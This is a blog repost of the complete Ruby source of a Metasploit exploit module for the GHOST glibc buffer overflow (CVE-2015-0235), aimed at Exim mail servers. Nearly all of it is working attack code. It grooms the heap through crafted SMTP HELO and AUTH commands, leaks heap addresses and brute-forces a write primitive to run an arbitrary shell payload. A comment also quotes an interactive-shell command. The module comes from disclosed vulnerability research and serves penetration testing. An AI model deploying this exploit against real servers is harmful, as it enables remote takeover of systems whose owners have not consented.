Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863549422

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
      'Description' => %q(
        This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
        buffer overflow in the GNU C Library's gethostbyname functions) on x86
        and x86_64 GNU/Linux systems that run the Exim mail server. Technical
        information about the exploitation can be found in the original GHOST
        advisory, and in the source code of this module.
        ------------------------------------------------------------------------
        SERVER-SIDE REQUIREMENTS (Exim)
        ------------------------------------------------------------------------
        The remote system must use a vulnerable version of the GNU C Library:
        the first exploitable version is glibc-2.6, the last exploitable version
        is glibc-2.17; older versions might be exploitable too, but this module
        depends on the newer versions' fd_nextsize (a member of the malloc_chunk
        structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
        the heap.
        ------------------------------------------------------------------------
        The remote system must run the Exim mail server: the first exploitable
        version is exim-4.77; older versions might be exploitable too, but this
        module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
        set up the heap as described in the GHOST advisory.
        ------------------------------------------------------------------------
        The remote Exim mail server must be configured to perform extra security
        checks against its SMTP clients: either the helo_try_verify_hosts or the
        helo_verify_hosts option must be enabled; the "verify = helo" ACL might
        be exploitable too, but is unpredictable and therefore not supported by
        this module.
        ------------------------------------------------------------------------
        CLIENT-SIDE REQUIREMENTS (Metasploit)
        ------------------------------------------------------------------------
        This module's "exploit" method requires the SENDER_HOST_ADDRESS option
        to be set to the IPv4 address of the SMTP client (Metasploit), as seen
        by the SMTP server (Exim); additionally, this IPv4 address must have
        both forward and reverse DNS entries that match each other
        (Forward-Confirmed reverse DNS).
        ------------------------------------------------------------------------
        The remote Exim server might be exploitable even if the Metasploit
        client has no FCrDNS, but this module depends on Exim's sender_host_name
        variable to be set in order to reliably control the state of the remote
        heap.
        ------------------------------------------------------------------------
        TROUBLESHOOTING
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
        was not specified.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
        the SENDER_HOST_ADDRESS option was specified, but not in IPv4
        dotted-decimal notation.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
        "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
        SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
        client (Metasploit), as seen by the SMTP server (Exim).
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
        SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
        ------------------------------------------------------------------------
        "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
        is either not vulnerable, or not exploitable (glibc versions older than
        glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
        ------------------------------------------------------------------------
        "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
        contains bad characters (NUL, CR, LF) and was therefore mangled during
        the information leak; this exploit is able to reconstruct most of these
        addresses, but not all (worst-case probability is ~1/85, but could be
        further improved).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
        Unix command was executed, but spawned a bind-shell or a reverse-shell
        that failed to connect (maybe because of a firewall, or a NAT, etc).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
        remote Unix command was executed, but failed to spawn the shell (maybe
        because the setsid command doesn't exist, or awk isn't gawk, or netcat
        doesn't support the -6 or -e option, or telnet doesn't support the -z
        option, etc).
        ------------------------------------------------------------------------
        Comments and questions are welcome!
      ),
      'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
      'License' => BSD_LICENSE,
      'References' => [
        ['CVE', '2015-0235'],
        ['US-CERT-VU', '967332'],
        ['OSVDB', '117579'],
        ['BID', '72325'],
        ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
      ],
      'DisclosureDate' => 'Jan 27 2015',
      'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
      'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
      'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
      'Payload' => {
        'Space' => 255, # the shorter the payload, the higher the probability of code execution
        'BadChars' => "", # we encode the payload ourselves, because ^
        'DisableNops' => true,
        'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
      },
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(25),
      OptAddress.new('SENDER_HOST_ADDRESS', [false,
        'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
    ], self.class)

    register_advanced_options([
      OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
    ], self.class)
  end

  def check
    # for now, no information about the vulnerable state of the target
    check_code = Exploit::CheckCode::Unknown

    begin
      # not exploiting, just checking
      smtp_connect(false)

      # malloc()ate gethostbyname's buffer, and
      # make sure its next_chunk isn't the top chunk

      9.times do
        smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
        smtp_recv(HELO_CODES)
      end

      # overflow (4 bytes) gethostbyname's buffer, and
      # overwrite its next_chunk's size field with 0x00303030

      smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
      # from now on, an exception means vulnerable
      check_code = Exploit::CheckCode::Vulnerable
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/

      # realloc()ate gethostbyname's buffer, and
      # crash (old glibc) or abort (new glibc)
      # on the overwritten size field

      smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
      # a vulnerable target should've crashed by now
      check_code = Exploit::CheckCode::Safe

    rescue
      peer = "#{rhost}:#{rport}"
      vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")

    ensure
      smtp_disconnect
    end

    return check_code
  end

  def exploit
    unless datastore['I_KNOW_WHAT_I_AM_DOING']
      print_status("Checking if target is vulnerable...")
      fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
      print_good("Target is vulnerable.")
    end
    information_leak
    code_execution
  end

  private

  HELO_CODES = '250|451|550'
  ANY_CODE = '[0-9]{3}'

  MIN_HEAP_SHIFT = 80
  MIN_HEAP_SIZE = 128 * 1024
  MAX_HEAP_SIZE = 1024 * 1024

  # Exim
  ALIGNMENT = 8
  STORE_BLOCK_SIZE = 8192
  STOREPOOL_MIN_SIZE = 256

  LOG_BUFFER_SIZE = 8192
  BIG_BUFFER_SIZE = 16384

  SMTP_CMD_BUFFER_SIZE = 16384
  IN_BUFFER_SIZE = 8192

  # GNU C Library
  PREV_INUSE = 0x1
  NS_MAXDNAME = 1025

  # Linux
  MMAP_MIN_ADDR = 65536

  def information_leak
    print_status("Trying information leak...")
    leaked_arch = nil
    leaked_addr = []

    # try different heap_shift values, in case Exim's heap address contains
    # bad chars (NUL, CR, LF) and was mangled during the information leak;
    # we'll keep the longest one (the least likely to have been truncated)

    16.times do
      done = catch(:another_heap_shift) do
        heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
        print_debug("#{{ heap_shift: heap_shift }}")

        # write the malloc_chunk header at increasing offsets (8-byte step),
        # until we overwrite the "503 sender not yet given" error message

        128.step(256, 8) do |write_offset|
          error = try_information_leak(heap_shift, write_offset)
          print_debug("#{{ write_offset: write_offset, error: error }}")
          throw(:another_heap_shift) if not error
          next if error == "503 sender not yet given"

          # try a few more offsets (allows us to double-check things,
          # and distinguish between 32-bit and 64-bit machines)

          error = [error]
          1.upto(5) do |i|
            error[i] = try_information_leak(heap_shift, write_offset + i*8)
            throw(:another_heap_shift) if not error[i]
          end
          print_debug("#{{ error: error }}")

          _leaked_arch = leaked_arch
          if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
             (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
             (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
             (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86_64

          elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
                (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
                (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
                (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86

          else
            throw(:another_heap_shift)
          end
          print_debug("#{{ leaked_arch: leaked_arch }}")
          fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch

          # try different large-bins: most of them should be empty,
          # so keep the most frequent fd_nextsize address
          # (a pointer to the malloc_chunk itself)

          count = Hash.new(0)
          0.upto(9) do |last_digit|
            error = try_information_leak(heap_shift, write_offset, last_digit)
            next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
            next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
            count[error] += 1
          end
          print_debug("#{{ count: count }}")
          throw(:another_heap_shift) if count.empty?

          # convert count to a nested array of [key, value] arrays and sort it
          error_count = count.sort { |a, b| b[1] <=> a[1] }
          error_count = error_count.first # most frequent
          error = error_count[0]
          count = error_count[1]
          throw(:another_heap_shift) unless count >= 6 # majority
          leaked_addr.push({ error: error, shift: heap_shift })

          # common-case shortcut
          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
             (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
            leaked_addr = [leaked_addr.last] # use this one, and not another
            throw(:another_heap_shift, true) # done
          end
          throw(:another_heap_shift)
        end
        throw(:another_heap_shift)
      end
      break if done
    end

    fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?

    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
    leaked_addr = leaked_addr.first # longest
    error = leaked_addr[:error]
    shift = leaked_addr[:shift]

    leaked_addr = 0
    (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
      break if i >= error.length
      leaked_addr += error.unpack('C*')[i] * (2**(i*8))
    end
    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR

    print_good("Successfully leaked_arch: #{leaked_arch}")
    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
    @leaked = { arch: leaked_arch, addr: leaked_addr }
  end

  def try_information_leak(heap_shift, write_offset, last_digit = 9)
    fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
    fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
    fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
    fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/

    smtp_connect

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
    begin                       # ^ 0x30 | PREV_INUSE
      smtp_recv(HELO_CODES)

      smtp_send("RSET")
      smtp_recv(250)

      smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(503, 'sender not yet given')

      smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("DATA")
      reply = smtp_recv(503)

      lines = reply[:lines]
      fail if lines.size <= 3
      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"

      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
      # but happens with lower probability)

      error = lines[+1..-3].join("")
      error.sub!(/\A503-/mn, "")
      error.sub!(/\r\n\z/mn, "")
      error.gsub!(/\r\n503-/mn, "\n")
      return error

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  def code_execution
    print_status("Trying code execution...")

    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
    #       that rogue child processes cannot use them.

    fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
    fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
    print_debug(command)

    # don't try to execute commands directly, try a very simple ACL first,
    # to distinguish between exploitation-problems and shellcode-problems

    acldrop = "drop message="
    message = rand_text_alpha(command.length - acldrop.length)
    acldrop += message

    max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
    max_heap_addr = @leaked[:addr]
    min_heap_addr = nil
    survived = nil

    # we later fill log_buffer and big_buffer with alpha chars,
    # which creates a safe-zone at the beginning of the heap,
    # where we can't possibly crash during our brute-force

    # 4, because 3 copies of sender_helo_name, and step_len;
    # start big, but refine little by little in case
    # we crash because we overwrite important data

    helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
    loop do

      sender_helo_name = "A" * helo_len
      address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)

      # the 3 copies of sender_helo_name, allocated by
      # host_build_sender_fullhost() in POOL_PERM memory

      helo_ip_size = ALIGNMENT +
        sender_helo_name[+1..-2].length

      sender_fullhost_size = ALIGNMENT +
        sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length

      sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
        sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
        sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
      ).length

      # fit completely into the safe-zone
      step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
        (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
      loop do

        # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
        # with alpha chars, which creates another safe-zone at the end of the heap)
        heap_addr = max_heap_addr
        loop do

          # try harder the first time around: we obtain better
          # heap boundaries, and we usually hit our ACL faster

          (min_heap_addr ? 1 : 2).times do

            # try the same heap_addr several times, but with different random offsets,
            # in case we crash because our hijacked storeblock's length field is too small
            # (we don't control what's stored at heap_addr)

            rand_offset = rand(max_rand_offset)
            print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
            reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
            print_debug("#{{ reply: reply }}") if reply

            if reply and
               reply[:code] == "550" and
               # detect the parsed ACL, not the "still in text form" ACL (with "=")
               reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
              print_good("Brute-force SUCCESS")
              print_good("Please wait for reply...")
              # execute command this time, not acldrop
              reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
              print_debug("#{{ reply: reply }}")
              return handler
            end

            if not min_heap_addr
              if reply
                fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
                survived = heap_addr
              else
                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
                  # survived should point to our safe-zone at the beginning of the heap
                  fail_with("codeexec", "never survived") if not survived
                  print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
                  min_heap_addr = survived
                end
              end
            end
          end

          heap_addr -= step_len
          break if min_heap_addr and heap_addr < min_heap_addr
        end

        break if step_len < 1024
        step_len /= 2
      end

      helo_len /= 2
      break if helo_len < 1024
      # ^ otherwise the 3 copies of sender_helo_name will
      # fit into the current_block of POOL_PERM memory
    end
    fail_with("codeexec", "Brute-force FAILURE")
  end

  # our write-what-where primitive
  def try_code_execution(len, what, where)
    fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
    fail_with("codeexec", "#{where} < 0") if where < 0

    x86 = (@leaked[:arch] == ARCH_X86)
    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
    last_digit = 1 + rand(9)

    smtp_connect

    # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
    smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
             "501 : sender address must contain a domain\r\n\0".length)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250)

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    # / 5, because "\x7F" is non-print, and:
    # ss = store_get(length + nonprintcount * 4 + 1);
    smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
    smtp_recv(HELO_CODES)       # ^ 0x30 | PREV_INUSE

    # auth_xtextdecode() is the only way to overwrite the beginning of a
    # current_block of memory (the "storeblock" structure) with arbitrary data
    # (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
    # this shapes the rest of our exploit: we overwrite the beginning of the
    # current_block of POOL_PERM memory with the current_block of POOL_MAIN
    # memory (allocated by auth_xtextdecode()).

    auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
    (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
    auth_prefix += "."

    # also fill log_buffer with alpha chars
    smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
    smtp_recv(501, 'invalid data for AUTH')

    smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
    begin
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] !~ /#{HELO_CODES}/
      return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/

      smtp_send("MAIL FROM:<>")
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] != "250"

      smtp_send("RCPT TO:<postmaster>")
      reply = smtp_recv
      return reply

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
  DOT = '[.]'

  def smtp_connect(exploiting = true)
    fail_with("smtp_connect", "sock isn't nil") if sock

    connect
    fail_with("smtp_connect", "sock is nil") if not sock
    @smtp_state = :recv

    banner = smtp_recv(220)
    return if not exploiting

    sender_host_address = datastore['SENDER_HOST_ADDRESS']
    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
    end
    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"

    # turn helo_seen on (enable the MAIL command)
    # call smtp_verify_helo() (force fopen() and small malloc()s)
    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
    smtp_send("HELO #{sender_host_address_octal}")
    reply = smtp_recv(HELO_CODES)

    if reply[:code] != "250"
      fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
    end

    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
      smtp_active_hostname = $1
      sender_host_name = $2

      if sender_host_name =~ /\A(.*) at (\S*)\z/mn
        sender_host_name = $2
        sender_ident = $1
      else
        sender_ident = nil
      end
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal

    else
      # can't double-check sender_host_address here, so only for advanced users
      fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
      # worst-case scenario
      smtp_active_hostname = "A" * NS_MAXDNAME
      sender_host_name = "A" * NS_MAXDNAME
      sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
    end

    _sender = @sender
    @sender = {
      hostaddr: sender_host_address,
      hostaddr8: sender_host_address_octal,
      hostname: sender_host_name,
      ident: sender_ident,
      __smtp_active_hostname: smtp_active_hostname
    }
    fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender

    # avoid a future pathological case by forcing it now:
    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250, 'Reset OK')
  end

  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
    fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
    @smtp_state = :sending

    if not arg_pattern
      fail_with("smtp_send", "prefix is nil") if not prefix
      fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
      command = prefix

    else
      fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
      length = arg_length - arg_prefix.length - arg_suffix.length
      fail_with("smtp_send", "len is #{length}") if length <= 0
      argument = arg_prefix
      case arg_pattern
      when String
        argument += arg_pattern * (length / arg_pattern.length)
        argument += arg_pattern[0, length % arg_pattern.length]
      when Method
        argument += arg_pattern.call(length)
      end
      argument += arg_suffix
      fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
      command = prefix + argument + suffix
    end

    fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
    fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer

    # the following loop works around a bug in the put() method:
    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
    # (or send_idx and/or send_len could be removed altogether, like here)

    while command and not command.empty?
      num_sent = sock.put(command)
      fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
      fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
      command = command[num_sent..-1]
    end

    @smtp_state = :recv
  end

  def smtp_recv(expected_code = nil, expected_data = nil)
    fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
    @smtp_state = :recving

    failure = catch(:failure) do

      # parse SMTP replies very carefully (the information
      # leak injects arbitrary data into multiline replies)

      data = ""
      while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
        begin
          more_data = sock.get_once
        rescue
          throw(:failure, "Caught #{$!.class}: #{$!.message}")
        end
        throw(:failure, "no more data") if more_data.nil?
        throw(:failure, "no more data") if more_data.empty?
        data += more_data
      end

      throw(:failure, "malformed reply (count)") if data.count("\0") > 0
      lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
      throw(:failure, "malformed reply (empty)") if lines.empty?

      code = nil
      lines.size.times do |i|
        lines[i].sub!(/\A\r\n/mn, "")
        lines[i] += "\r\n"

        if i == 0
          code = lines[i][0,3]
          throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
          if expected_code and code !~ /\A(#{expected_code})\z/mn
            throw(:failure, "unexpected #{code}, expected #{expected_code}")
          end
        end

        line_begins_with = lines[i][0,4]
        line_should_begin_with = code + (i == lines.size-1 ? " " : "-")

        if line_begins_with != line_should_begin_with
          throw(:failure, "line begins with #{line_begins_with}, " \
                          "should begin with #{line_should_begin_with}")
        end
      end

      throw(:failure, "malformed reply (join)") if lines.join("") != data
      if expected_data and data !~ /#{expected_data}/mn
        throw(:failure, "unexpected data")
      end

      reply = { code: code, lines: lines }
      @smtp_state = :send
      return reply
    end

    fail_with("smtp_recv", "#{failure}") if expected_code
    return nil
  end

  def smtp_disconnect
    disconnect if sock
    fail_with("smtp_disconnect", "sock isn't nil") if sock
    @smtp_state = :disconnected
  end
end